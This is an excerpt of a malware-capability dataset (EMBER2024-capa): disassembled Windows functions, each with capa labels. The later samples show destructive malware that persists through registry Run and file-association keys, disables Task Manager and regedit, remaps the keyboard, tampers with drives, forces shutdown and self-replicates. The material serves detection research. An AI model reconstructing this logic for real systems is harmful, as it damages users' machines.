joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000eedc
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.14000b234
xor ebx, ebx
mov rdi, rax
cmp qword [0x140018300], rbx
jne 0x14000efe2
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14000f0b7
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000f0b7
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140018300], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140018308], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x140018310], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x140018320], rax
test rax, rax
je 0x14000efd9
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x140018318], rax
jmp 0x14000efe9
mov rax, qword [0x140018318]
jmp 0x14000eff0
mov rax, qword [0x140018318]
mov r11, qword [0x140018320]
cmp rax, rdi
je 0x14000f058
cmp r11, rdi
je 0x14000f058
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x140018320]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x14000f058
test rax, rax
je 0x14000f058
call rsi
test rax, rax
je 0x14000f052
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000f052
test byte [rsp + 0x38], 1
jne 0x14000f058
bts ebp, 0x15
jmp 0x14000f096
mov rcx, qword [0x140018308]
cmp rcx, rdi
je 0x14000f096
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000f096
call rax
mov rbx, rax
test rax, rax
je 0x14000f096
mov rcx, qword [0x140018310]
cmp rcx, rdi
je 0x14000f096
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000f096
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140018300]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000f0b7
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x14000f0b9
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140001a1e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov r12, rcx
test edx, edx
je 0x140001b92
mov r13d, edx
mov edi, 0
lea r14, [0x140001530]
lea rbx, [0x1405bbac1]
jmp 0x140001a84
mov byte [0x1405bbac1], 0
mov edx, esi
sar edx, 0x1f
shr edx, 0x1b
lea eax, [rsi + rdx]
and eax, 0x1f
sub eax, edx
cdqe
lea rdx, [0x1405bbaa0]
xor bpl, byte [rdx + rax]
mov byte [r12 + rdi], bpl
add rdi, 1
cmp r13, rdi
je 0x140001b92
mov esi, edi
movzx ebp, byte [r12 + rdi]
mov byte [rsp + 0x20], 0x79
mov byte [rsp + 0x21], 0x89
mov byte [rsp + 0x22], 0x8c
mov byte [rsp + 0x23], 0x89
mov byte [rsp + 0x24], 0x86
mov byte [rsp + 0x25], 0x79
mov byte [rsp + 0x26], 0x8d
mov byte [rsp + 0x27], 0x86
mov byte [rsp + 0x28], 0x8d
mov byte [rsp + 0x29], 0x77
mov byte [rsp + 0x2a], 0x7c
mov byte [rsp + 0x2b], 0x78
mov byte [rsp + 0x2c], 0x89
mov byte [rsp + 0x2d], 0x87
mov byte [rsp + 0x2e], 0x76
mov byte [rsp + 0x2f], 0x79
mov byte [rsp + 0x30], 0x86
mov byte [rsp + 0x31], 0x76
mov byte [rsp + 0x32], 0x7e
mov byte [rsp + 0x33], 0x81
mov byte [rsp + 0x34], 0x7d
mov byte [rsp + 0x35], 0x82
mov byte [rsp + 0x36], 0x88
mov byte [rsp + 0x37], 0x74
mov byte [rsp + 0x38], 0x7d
mov byte [rsp + 0x39], 0x7c
mov byte [rsp + 0x3a], 0x84
mov byte [rsp + 0x3b], 0x7f
mov byte [rsp + 0x3c], 0x78
mov byte [rsp + 0x3d], 0x8a
mov byte [rsp + 0x3e], 0x8a
mov byte [rsp + 0x3f], 0x87
mov byte [rsp + 0x40], 0x13
cmp byte [0x1405bba80], 0
jne 0x140001b6d
mov byte [0x1405bbac1], 1
mov eax, 0
lea rcx, [0x1405bbaa0]
movzx edx, byte [rsp + rax + 0x20]
mov byte [rcx + rax], dl
add rax, 1
cmp rax, 0x21
jne 0x140001b4c
mov byte [0x1405bba80], 1
mov rcx, r14
call fcn.1400014f0
cmp byte [0x1405bbac1], 0
je 0x140001a56
lea rax, [0x1405bbaa0]
sub byte [rax], 0x13
add rax, 1
cmp rbx, rax
jne 0x140001b81
jmp 0x140001a4f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x140006b60
Capabilities:
Parse pe header

Disassembly:
test rcx, rcx
je 0x140006b90
mov eax, 0
cmp word [rcx], 0x5a4d
jne 0x140006b8f
mov eax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140006b95
cdqe
add rax, rcx
cmp dword [rax], 0x4550
mov edx, 0
cmovne rax, rdx
ret
mov rax, rcx
jmp 0x140006b8f
mov eax, 0
jmp 0x140006b8f

Function at 0x140007210
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.1400071c0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140010820
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140019360
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140019360
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x140010890
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1405bbe74]
test esi, esi
mov rdi, rcx
mov rbp, rdx
mov rbx, r8
jle 0x140010a20
mov rax, qword [0x1405bbe78]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rdi, rdx
jb 0x1400108dc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rdi, rdx
jb 0x140010965
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x1400108c0
mov rcx, rdi
call fcn.1400113f0
test rax, rax
mov r12, rax
je 0x140010a72
mov rax, qword [0x1405bbe78]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.140011530
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1405bbe78]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140010a55
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14001095e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400109d0
add dword [0x1405bbe74], 1
cmp ebx, 8
jae 0x140010991
test bl, 4
jne 0x140010a30
test ebx, ebx
je 0x140010986
movzx eax, byte [rbp]
test bl, 2
mov byte [rdi], al
jne 0x140010a44
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, ebx
sub ebx, 1
mov rdx, qword [rbp + rax - 8]
cmp ebx, 8
mov qword [rdi + rax - 8], rdx
jb 0x140010986
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, ebx
mov qword [rdi + rdx], rcx
jb 0x1400109aa
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov r8d, 4
mov eax, 0x40
mov rcx, qword [rsp + 0x20]
cmovne r8d, eax
mov rdx, qword [rsp + 0x38]
add rsi, qword [0x1405bbe78]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001095e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140010820
xor esi, esi
jmp 0x1400108e7
mov eax, dword [rbp]
mov ebx, ebx
mov dword [rdi], eax
mov eax, dword [rbp + rbx - 4]
mov dword [rdi + rbx - 4], eax
jmp 0x140010986
mov ebx, ebx
movzx eax, word [rbp + rbx - 2]
mov word [rdi + rbx - 2], ax
jmp 0x140010986
mov rax, qword [0x1405bbe78]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.140010820
lea rcx, str.Address__p_has_no_image_section
mov rdx, rdi
call fcn.140010820
nop
nop dword [rax]
nop word cs:[rax + rax]
Function at 0x140011040
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1405bbee0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1405bbec0]
test rbx, rbx
je 0x140011094
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14001108b
test rsi, rsi
je 0x14001108b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140011070
lea rcx, [0x1405bbee0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400113f0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1405b5a90]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x14001145f
mov rcx, r9
call fcn.1400112c0
test eax, eax
je 0x14001145f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x14001145d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140011454
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x14001145f
add rdx, 0x28
cmp rdx, r9
jne 0x140011440
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x14001b760
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1405b1300]
jmp 0x140012220

Function at 0x14001b770
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1405b1300]
jmp 0x140012220
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00405660]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00405670]
mov dword [rax], 1
mov rax, qword [0x00405680]
mov dword [rax], 1
mov rax, qword [0x00405650]
mov dword [rax], 1
mov rax, qword [0x00405510]
cmp word [rax], 0x5a4d
je 0x4010d0
mov rax, qword [0x00405640]
mov dword [0x00408008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010c2
mov ecx, 2
call sym.__set_app_type
mov rcx, 0xffffffffffffffff
call dbg._encode_pointer
mov rdx, qword [0x004055a0]
mov qword [rdx], rax
mov rdx, qword [0x00405590]
mov qword [rdx], rax
mov rax, qword [0x00405600]
mov edx, dword [rax]
mov rax, qword [sym.imp.msvcrt.dll__fmode]
mov rax, qword [rax]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x004054c0]
cmp dword [rax], 1
je 0x401120
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401133
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058
Function at 0x401530
Capabilities:
Copy file
Create process on windows
Create process suspended
Get common file path

Disassembly:
push rbp
push rdi
sub rsp, 0x3e8
lea rbp, [rsp + 0x80]
lea rdx, [rbp + 0x2f0]
mov eax, 0
mov ecx, 0xc
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
call sym.rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x16
add edx, eax
and edx, 0x3ff
sub edx, eax
mov eax, edx
mov dword [rbp + 0x35c], eax
lea rdx, [rbp + 0x2f0]
mov eax, dword [rbp + 0x35c]
mov r8d, 0x10
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll__itoa]
call rax
lea rax, [rbp + 0x1e0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rdx, [rbp + 0x170]
mov eax, 0
mov ecx, 0xc
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rax, [rbp + 0x60]
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
call rax
lea rdx, [rbp + 0x60]
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0x170]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x170]
add rax, rdx
mov word [rax], 0x5c
lea rdx, [rbp + 0x2f0]
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0x170]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x170]
add rax, rdx
mov dword [rax], 0x6578652e
mov byte [rax + 4], 0
lea rdx, [rbp + 0x170]
lea rax, [rbp + 0x1e0]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rdx, [rbp - 0x10]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x10], 0x68
lea rax, [rbp + 0x170]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
nop
add rsp, 0x3e8
pop rdi
pop rbp
ret
Function at 0x401744
Capabilities:
Copy file
Get common file path
Persist via default file association registry key
Persist via run registry key
Set registry value

Disassembly:
push rbp
push rdi
sub rsp, 0x368
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x1c0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x40]
mov edx, 0x200
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call rax
lea rax, [rbp - 0x40]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp - 0x40]
add rax, rdx
movabs rdi, 0x65726f6c7078655c
mov qword [rax], rdi
mov dword [rax + 8], 0x6578652e
mov byte [rax + 0xc], 0
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x1c0]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.strlen
mov dword [rbp + 0x2dc], eax
lea rax, [rbp - 0x48]
mov r8, rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
call rax
mov rax, qword [rbp - 0x48]
lea rdx, [rbp - 0x40]
mov ecx, dword [rbp + 0x2dc]
mov dword [rsp + 0x28], ecx
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, str.txtfile_shellopencommand
mov qword [rbp + 0x2d0], rax
mov rax, qword [rbp + 0x2d0]
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x20], rdx
mov r9d, 0x20006
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffff80000000
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov rax, qword [rbp - 0x48]
mov edx, dword [rbp + 0x2dc]
mov dword [rsp + 0x28], edx
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rdx
mov r9d, 2
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x368
pop rdi
pop rbp
ret

Function at 0x4018e5
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp - 0xc], 1
lea rax, [rbp - 8]
mov r8, rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
call rax
mov rax, qword [rbp - 8]
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 0xc]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0
lea rdx, str.DisableTaskMgr
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x40
pop rbp
ret
Function at 0x40195d
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp - 0xc], 1
lea rax, [rbp - 8]
mov r8, rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
call rax
mov rax, qword [rbp - 8]
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 0xc]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0
lea rdx, str.DisableRegistryTools
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x40
pop rbp
ret

Function at 0x4019d5
Capabilities:
Set registry value

Disassembly:
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xcc], 1
lea rax, [rbp - 0x40]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x40]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp - 0x40]
add rax, rdx
movabs rdi, 0x6a2e64656b636168
mov qword [rax], rdi
mov word [rax + 8], 0x6770
mov byte [rax + 0xa], 0
lea rax, [rbp - 0x48]
mov r8, rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
call rax
mov rax, qword [rbp - 0x48]
mov dword [rsp + 0x28], 0x104
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.Wallpaper
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 0x48]
mov dword [rsp + 0x28], 4
lea rdx, [rbp + 0xcc]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0
lea rdx, str.WallpaperStyle
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
nop
add rsp, 0x158
pop rdi
pop rbp
ret
Function at 0x401adf
Capabilities:
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xc0
mov rax, qword [0x00405108]
mov qword [rbp - 0x90], rax
mov rax, qword [0x00405110]
mov qword [rbp - 0x88], rax
mov rax, qword [0x00405118]
mov qword [rbp - 0x80], rax
mov rax, qword [0x00405120]
mov qword [rbp - 0x78], rax
mov rax, qword [0x00405128]
mov qword [rbp - 0x70], rax
mov rax, qword [0x00405130]
mov qword [rbp - 0x68], rax
mov rax, qword [0x00405138]
mov qword [rbp - 0x60], rax
mov rax, qword [0x00405140]
mov qword [rbp - 0x58], rax
mov rax, qword [0x00405148]
mov qword [rbp - 0x50], rax
mov rax, qword [0x00405150]
mov qword [rbp - 0x48], rax
mov rax, qword [0x00405158]
mov qword [rbp - 0x40], rax
mov rax, qword [0x00405160]
mov qword [rbp - 0x38], rax
mov rax, qword [0x00405168]
mov qword [rbp - 0x30], rax
mov rax, qword [0x00405170]
mov qword [rbp - 0x28], rax
mov rax, qword [0x00405178]
mov qword [rbp - 0x20], rax
movzx eax, byte [0x00405180]
mov byte [rbp - 0x18], al
lea rax, [rbp - 8]
mov r8, rax
lea rdx, str.SYSTEMCurrentControlSetControlKeyboard_Layout
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
call rax
mov rax, qword [rbp - 8]
mov dword [rsp + 0x28], 0x78
lea rdx, [rbp - 0x90]
mov qword [rsp + 0x20], rdx
mov r9d, 3
mov r8d, 0
lea rdx, str.Scancode_Map
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0xc0
pop rbp
ret
Function at 0x401c49
Capabilities:
Execute command
Hide graphical window
Query or enumerate registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xe0
call dbg.__main
mov rax, qword [sym.imp.USER32.dll_GetForegroundWindow]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov dword [rbp - 4], 0
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov qword [rbp - 0x18], rax
lea rax, str.DisableTaskMgr
mov qword [rbp - 0x20], rax
mov dword [rbp - 0xa8], 0x64
mov rax, qword [rbp - 0x18]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x20], rdx
mov r9d, 0x20019
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov dword [rbp - 0x24], eax
mov rax, qword [rbp - 0x30]
lea r8, [rbp - 0xa4]
mov rdx, qword [rbp - 0x20]
lea rcx, [rbp - 0xa8]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp - 0xa0]
mov qword [rsp + 0x20], rcx
mov r9, r8
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
mov dword [rbp - 0x28], eax
cmp dword [rbp - 0x24], 0
jne 0x401d1c
cmp dword [rbp - 0x28], 0
je 0x401d31
lea rcx, str.not_Revised_
call sym.puts
mov dword [rbp - 4], 0
jmp 0x401d5b
lea rax, [rbp - 0xa0]
lea rdx, [0x0040518f]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x401d54
mov dword [rbp - 4], 1
jmp 0x401d5b
mov dword [rbp - 4], 0
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
cmp dword [rbp - 4], 0
jne 0x401e04
call sym.RegKeyStart
call sym.RegTaskmanagerForbidden
call sym.RegEditForbidden
call sym.RegModifyBackroud
call sym.RegKeyBoardForbidden
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rcx, [0x00405194]
call sym.DeleteDrive
test eax, eax
je 0x401dce
mov r9d, 0
lea r8, str.Error
lea rdx, [0x0040519d]
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
lea r8, str.________C:__winnt
lea rdx, [0x004051be]
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
call rax
lea rcx, str.title
call sym.system
lea rcx, str.shutdown__f__s__t_10__c
call sym.system
jmp 0x401e10
lea rcx, str.task_manager_has_been_forbidden_
call sym.puts
mov dword [rbp - 8], 0
jmp 0x401e30
call sym.Reproduce
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
add dword [rbp - 8], 1
cmp dword [rbp - 8], 0x1d
jle 0x401e19
mov eax, 0
add rsp, 0xe0
pop rbp
ret